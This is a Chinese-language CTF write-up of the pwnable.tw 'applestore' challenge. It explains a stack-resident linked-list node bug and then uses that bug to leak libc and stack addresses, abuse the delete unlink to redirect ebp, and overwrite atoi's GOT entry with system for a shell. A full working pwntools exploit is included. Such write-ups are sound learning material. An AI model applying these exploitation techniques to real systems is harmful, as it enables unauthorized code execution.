0%

pwnable-applestore

这道题对于我这个菜鸟来说收获真的很大!!!

这道题的数据结构是双链表,结构体大小为0x10

1
2
3
4
5
6
struct applePhone{
char* str;
int price;
struct applePhone *next;
struct applePhone *pre;
}

漏洞点:当链表内的物品价格为7174时,购物车中会加入一个1¥的iPhone8,该结构体是存储在栈中的,起始地址是ebp-0x20

pwnable-applestore-1

漏洞利用:add、delete、cart、checkout都是handler中的函数,这也就意味着在调用这些函数时,他们的ebp的地址都是一样的,而且都存储着handker的ebp地址,然后buf的起始地址为ebp-0x22,也就是说,输入2个字节后,就到了iPhone8的结构体,也就是说我们能利用这个cart函数覆盖iPhone 8的结构体,结合函数中的printf就可以泄露地址

pwnable-applestore-2

那么就可以利用这个点,泄露libc基址和stack的地址,知识点:environ中存放着stack的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(6):
add(1)
for i in range(20):
add(2)
checkout()

pd = b'y\x00' + p32(atoi_got) + p32(0) * 2 #read不会被\x00截断
cart(pd)
p.recvuntil(b"27: ")
atoi_got_true = u32(p.recv(4))
libc_base = atoi_got_true - libc.symbols['atoi']
print("libc_base:",hex(libc_base))
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']

pd = b'y\x00' + p32(environ_libc) + p32(0) * 2
cart(pd)
p.recvuntil(b"27: ")
stack = u32(p.recv(4))
print("stack:",hex(stack))

然后再来看delete函数,实际上就是一个双链表删除的操作,v4是next指针,v5是pre指针,函数循环到要删除的结构体,假设删除iPhone8,那么就会执行

iPhone8->pre->next = iPhone->next

iPhone8->next->pre = iphon8->pre

那么利用这个点,如果我们将iPhone8->next覆盖为atoi_got + 0x22,iPhone8->pre覆盖为stack - 0x104 - 0x8,那么,也就等同于我们把地址为stack - 0x104的值覆盖为atoi_got + 0x22,

那么问题来了,stack - 0x104 - 0x8,stack - 0x104和atoi_got + 0x22有什么联系,为什么要覆盖成这几个值?

stack - 0x104 - 0x8 中的 -0x8 实际上是和下图中的*(_DWORD *)(v5 + 8)相对应,v5实际上就是stack - 0x104 - 0x8,减去0x8和 v5 + 8 相抵消了,即*(stack - 0x104) = v4 = atoi_got + 0x22

那么现在还有一个问题,为什么是atoi_got + 0x22,stack - 0x104实际上就是delete函数的ebp地址,delete函数的ebp中存储着handler函数中ebp地址,如果我们将其值覆盖为atoi_got + 0x22后,函数退出后就会将会使handler函数的ebp地址变为atoi_got + 0x22,而handler函数中的my_read(nptr, 0x15u)的nptr的起始地址就是ebp-0x22,即我们在输入的时候,输入的起始地址就是atoi_got的地址,从而我们就可以修改atoi的got表为system,紧接着在atoi执行的时候就相当于在执行system函数,并且参数就是我们输入的数据,所以我们在delete函数返回handler函数后,输入p32(system) + b’||/bin/sh’就可以将atoi的got表改为system,并在atoi执行的时候触发截断执行/bin/sh

pwnable-applestore-3

然后我来讲讲delete的ebp是如何得到的,这里我踩了个坑,可能是因为我用的ld.so文件是64位的,结果导致在测偏移的时候和实际偏移偏了0x20,导致我花了好几天才搞懂这个点

那在测偏移的时候肯定要先避免这个坑,先把附件的libc和ld.so给配好

用patchelf更改文件的libc和ld

1
patchelf --set-interpreter [ld.so路径] --set-rpath [libc所在目录] [elf文件]

比如我是

1
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ ./applestore

然后开始调试,在delete函数中下断点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from struct import pack
from LibcSearcher import *
from ae64 import AE64
import base64
from ctypes import *

debug = 1
if debug:
p = process('/home/feichai/ctf_file/applestore')
libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10104)
libc=ELF("/home/feichai/ctf_file/libc_32.so.6")

context(arch="i386",os="linux",log_level="debug")
elf=ELF("/home/feichai/ctf_file/applestore")
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def add(num):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"Device Number> ", str(num))

def delete(temp):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Item Number> ", temp)

def cart(temp):
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"Let me check your cart. ok? (y/n) > ", temp)

def checkout():
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b"Let me check your cart. ok? (y/n) > ", b'y')

atoi_got = elf.got.atoi

def pwn():

for i in range(6):
add(1)
for i in range(20):
add(2)
checkout()

pd = b'y\x00' + p32(atoi_got) + p32(0) * 2
cart(pd)
p.recvuntil(b"27: ")
atoi_got_true = u32(p.recv(4))
libc_base = atoi_got_true - libc.symbols['atoi']
print("libc_base:",hex(libc_base))
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']

pd = b'y\x00' + p32(environ_libc) + p32(0) * 2
cart(pd)
p.recvuntil(b"27: ")
stack = u32(p.recv(4))
print("stack:",hex(stack))

p.sendlineafter(b"> ", b'3')
gdb.attach(p)

p.interactive()


if __name__=='__main__':
pwn()

根据打印的信息,此时stack的值为0xff86806c

pwnable-applestore-4

然后查看一下栈,此时的ebp指向了0xff867f68,也就是说我们要改的是0xff867f68这个地址的值

pwnable-applestore-5

那么stack地址为0xff86806c,要改的地址为0xff867f68,那么他们的偏移就是0xff86806c - 0xff867f68 = 0x104

到这里基本就没什么问题了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import *
from ae64 import AE64
import base64
from ctypes import *

debug = 0
if debug:
p = process('/home/feichai/ctf_file/pwn')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote('chall.pwnable.tw', 10104)
libc=ELF("/home/feichai/ctf_file/libc_32.so.6")

context(arch="i386",os="linux",log_level="debug")
elf=ELF("/home/feichai/ctf_file/applestore")
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def add(num):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"Device Number> ", str(num))

def delete(temp):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Item Number> ", temp)

def cart(temp):
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"Let me check your cart. ok? (y/n) > ", temp)

def checkout():
p.sendlineafter(b"> ", b'5')
p.sendlineafter(b"Let me check your cart. ok? (y/n) > ", b'y')

atoi_got = elf.got.atoi

def pwn():

for i in range(6):
add(1)
for i in range(20):
add(2)
checkout()

pd = b'y\x00' + p32(atoi_got) + p32(0) * 2
cart(pd)
p.recvuntil(b"27: ")
atoi_got_true = u32(p.recv(4))
libc_base = atoi_got_true - libc.symbols['atoi']
print("libc_base:",hex(libc_base))
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']

pd = b'y\x00' + p32(environ_libc) + p32(0) * 2
cart(pd)
p.recvuntil(b"27: ")
stack = u32(p.recv(4))
print("stack:",hex(stack))

pd = b'27' + p32(0) + p32(0x12345678)
pd += p32(atoi_got + 0x22) + p32(stack - 0x104 - 0x8)
delete(pd)

p.sendlineafter(b"> ", p32(system) + b"||/bin/sh")

p.interactive()

if __name__=='__main__':
pwn()

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道